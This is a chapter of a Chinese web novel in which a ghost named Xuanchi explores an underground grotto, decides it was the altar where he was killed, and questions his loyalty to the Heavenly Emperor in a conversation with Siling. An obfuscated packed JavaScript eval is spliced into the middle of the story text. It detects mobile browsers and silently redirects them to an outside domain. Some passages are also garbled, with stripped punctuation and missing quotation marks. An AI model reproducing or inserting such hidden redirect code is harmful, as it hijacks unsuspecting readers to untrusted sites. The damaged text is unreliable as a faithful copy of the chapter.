第64章 梦境和困境(2)
作品:《中式女鬼进入西方鬼怪学院》 泫敕无措地呆坐在床上,梦境中琐碎的信息让他被困在不安里。
在此之前,他只记得青铜剑落下来的那一瞬间,与那个画面相伴的唯有浓烈的不甘。
所以他从未想过自己或许背叛了天帝。
诚然,梦境里他也听到自己说有误会。可他笃信天帝不是**也并非昏君,所以那句解释在他听来更像是一种狡辩。
……可他又凭什么深信天帝不是昏君?
泫敕在恍惚中有些动摇,他试图阻止这些想法,信念与潜意识里的逃避在脑海中针锋相对,让他头痛欲裂。
他用力按住太阳穴,按了许久,剧痛才依依不舍似的慢慢褪去。他缓了口气,重新抬起头,昏暗的房间里一切都很安静,他踌躇了半晌,最终下了床,推门走出套房。
灵体型鬼怪们并不需要睡觉,这意味着鬼怪学院里近半数的学生都是不用睡觉的,但这并不妨碍大家享受睡觉这件事,因此深夜里的鬼怪学院和一所普通的寄宿学校一样安静,城堡的古朴氛围又在这种安静中添上了一抹西式的灵异感。
泫敕从木质楼梯拾阶而下,楼梯旁的墙壁挂着一些颇有历史的油画,其中有几幅是人物的半身像,这类半身像常会给人造成一种被注视的错觉,如果脑洞大一些,很容易怀疑画里藏着什么“脏东西”,随时会飘出来。
……真的能飘出来就好了,他现在很想打一架宣泄情绪。
泫敕一边心里这样想,一边面无表情地下楼。他离开寝室所在的城堡侧翼,穿过幽长的走廊,进入那部已不陌生的古老电梯。
原先由于他的存在,B1之下的电梯按钮被路西法用法术遮蔽,学生们无法到达地下石窟。但在他被释放之后,这种遮掩就没有必要了,路西法索性开放了石窟,鬼怪们在最初几天也曾兴致勃勃地去“探奇”,但大家很快就发现石窟里除了一些模糊的石刻和壁画外也没什么好玩的东西,迅速失去了兴趣。
至于泫敕本人……他一直有些逃避这个地方,因为这里对他来说实在说不上美好。
但现在,更浓烈的不安轻巧地打败了这种逃避,他迫切地想找寻真相,蛛丝马迹都不愿放过,那些绵长的痛苦记忆也就无关紧要了。
“叮咚——”电梯在B2层停下来,泫敕拉开门,铁栅门摩擦轨道的粗粝声响回荡在甬道里。
甬道两侧的石壁上镶有火把,但并没有点燃,因
此除了被电梯照亮的一小片地方前面就都是无尽的黑暗了。
泫敕挥手施咒点亮那些火把
搐痛隐隐涌动泫敕抬手按住胸口深吸了口气举步走进石窟又施了道如出一辙的咒语将石窟周围的火把也点亮了。
整个空间犹如结束演出的歌剧厅般瞬间亮起古老的石刻和壁画映入眼帘泫敕垂眸凝视地上的壁画半晌又抬头望向石窟上方。
他纵身跃起借助厉鬼的灵力悬在离上方石壁半尺的位置屏息细看石顶——是的什么都没有。
地上有壁画顶上反倒什么都没有这是个挺奇怪的细节无论是现代人类还是古老的神明都不大会在“装修”这件事里做出这种设计。
除非这里曾经不存在石顶就像他梦中所见的那样抬头即是浓云压境的天空。
梦是真的。
可又为什么在地上作画?
泫敕落回地面单膝跪在地上手指摩挲那些画作。如果从远处看此时的他看起来很虔诚。有那么一瞬间一些闪烁的画面在他的脑海中和现实重合也在他心头莫名涌起一种虔诚。
但那些闪烁的画面终是抓不住的一晃而过的感觉也随之而去。
不过他还是从地上的画作中看出了一些东西。
他看到手举石斧开天辟地的古神看到用泥浆造人的古神……
纵使记忆残缺不堪他也清楚这些古老神祇的存在远比天界更早。在人界他们和天界众神一样都是“神”但实际上天界的神仙也要像人类供奉神仙一样供奉这些更强大的古神。
而且就像人类难以见到天界神仙一样天界神仙大多也从未见过这些上古神祇包括泫敕——他会苦恼于自己想不起天帝的样子却全然不好奇盘古的容貌因为他很清楚自己不可能见过盘古。
可这里画着盘古。
一种猜测在泫敕心头浮现出来当他在抬起头的时候又一个闪烁的画面与眼前情境重合了而这次他捕捉到了它。
……祭坛!
是祭坛!
梦境余光里的一角、记忆中转瞬而逝的画面是一座祭坛。或者说得更准确一点这整个石窟就是一个巨大的祭祀场所是一个为祭祀而建的圆形石台!
所以这里绘满了关于古老神祇的画。
而在石台正中央,用于供奉古神的祭坛就矗立在那里,那也正是他被刺死的位置。
也就是说……在被天帝派遣的手下刺死的时候,他正在执行一场对上古神祇的祭祀?
泫敕暗暗推测着,这种推测有理有据,也掀起了新一重的不安。
他在石窟中就地盘坐下来,开始猜想这场祭祀与他的死是否有直接关联,又或与他的“背叛”是否有直接关联。
他其实知道他得不到答案,因为他的记忆真的太少了,那几个画面和仅有的一点“常识”,完全不足以帮他拼凑出万年前的真相。
可他就是不甘心,于是他就这样毫无理智地枯坐着胡思乱想下去。
他并不知道自己坐了多久,直到他感受到了一点光。他侧首看去,看到侧后临近石窟边缘的地方有一缕光束投下来,才知道天亮了,也才知道原来这石窟有这样一道裂痕,裂痕上方就是地面与人间。
……至少两万年,他才知道这些。
泫敕凝望着那束光,自嘲地发笑,摇了摇头,终是起身离开了石窟。
他在走进电梯的时候拿出通冥盘看了眼时间,直接去往高级班教室所在的楼层。
这个时间应该正在上课,但当泫敕走到教室门口的时候,屋里却只有司凌一个人。他不由愣了一下,问她:“其他人呢?”
司凌原本正低头在通冥盘上打字,闻声抬起头,看到他松了口气:“你去哪儿了?一大早就不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545532|165234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见人影,消息也不回?”
泫敕微怔,又看了眼通冥盘,屏幕上果然有不少条未读消息。除了司凌发来的几条,阿坠、白玛她们也都问他在哪里。
他抱歉了地笑了笑:“石窟的结界屏蔽了消息……”
司凌一滞:“你去地底石窟了?”
泫敕嗯了一声,走进教室,在她前面的空椅子上坐下,转身隔着一张桌子看看她,再次询问:“其他人到哪儿去了?”
“有新任务了。”司凌道,“他们先去玛门教授那里领道具了,我不知道你什么情况,留下来等了等。”
“谢谢。”泫敕颔首。
司凌凝视着他的神情,小心地探问:“怎么突然去石窟?你是……想起什么了吗?”
“……算是吧。”泫敕说,沉默了一下,又摇头,“也不算。”
“?”司凌搞不清状况。
“一言难尽。”他失笑。
司凌抱臂,摆出一副很有耐心的样子:
“愿闻其详。
泫敕沉吟了一下,他明白她的善意,但他不知该从何说起。他斟酌了一会儿,薄唇紧紧抿了一下:“我如果说我可能背叛了天帝……你怎么看?
“啊?司凌被他这个问法搞得云里雾里,“什么叫……我怎么看?她语中一顿,“你为什么会背叛天帝?发生什么了?你讲讲来龙去脉啊。
泫敕扯动嘴角:“我也不太清楚。
“呃……司凌愣了愣,回过味来。
——他的那句“你怎么看?只是单纯地在问她的看法,他纯粹地想知道,她对他可能背叛了天帝这件事怎么看。
“那我……我能有什么看法?司凌哑然。
“你会不会觉得……泫敕低着眼睛,声音听起来闷闷的,“我也不是什么好人?
“嗤。司凌一声笑,“凭什么?我又不效忠于天帝,我凭什么觉得你背叛他你就不是好人?
她不屑地撇嘴:“站在私交角度,我觉得天帝不是好人还差不多。
“哈哈……泫敕哑笑,“谢谢,但天帝……
“你差不多得了。司凌的语气突然暴躁,泫敕一愣:“什么?
她翻白眼:“我说,你差不多得了。我知道你想说什么,也很想尊重你的看法,但是……拜托,她紧紧拧眉,“你明明什么都不记得,连自己都怀疑,我真的不理解你为什么这样信任天帝——理性讨论,你认定他不是**这事有逻辑吗?他为什么一定不是啊?总不能就因为他是天帝吧?这完全没道理。
司凌质问三连,泫敕默然以对。
他发现他无法反驳她的质问,因为他真的想不起一丁点关于天帝的事情了,可他就是对天帝深信不疑。
她说得对,这完全没道理,可他改变不了这种想法。
他只好绕开这个话题:“新任务是什么?需要我们去吗?
“……呵。司凌见他顾左右而言他,无语地笑了。
她又对他翻了个毫不掩饰的白眼,继而叹着气站起来:“走吧,我们也去玛门那里,任务边走边说。

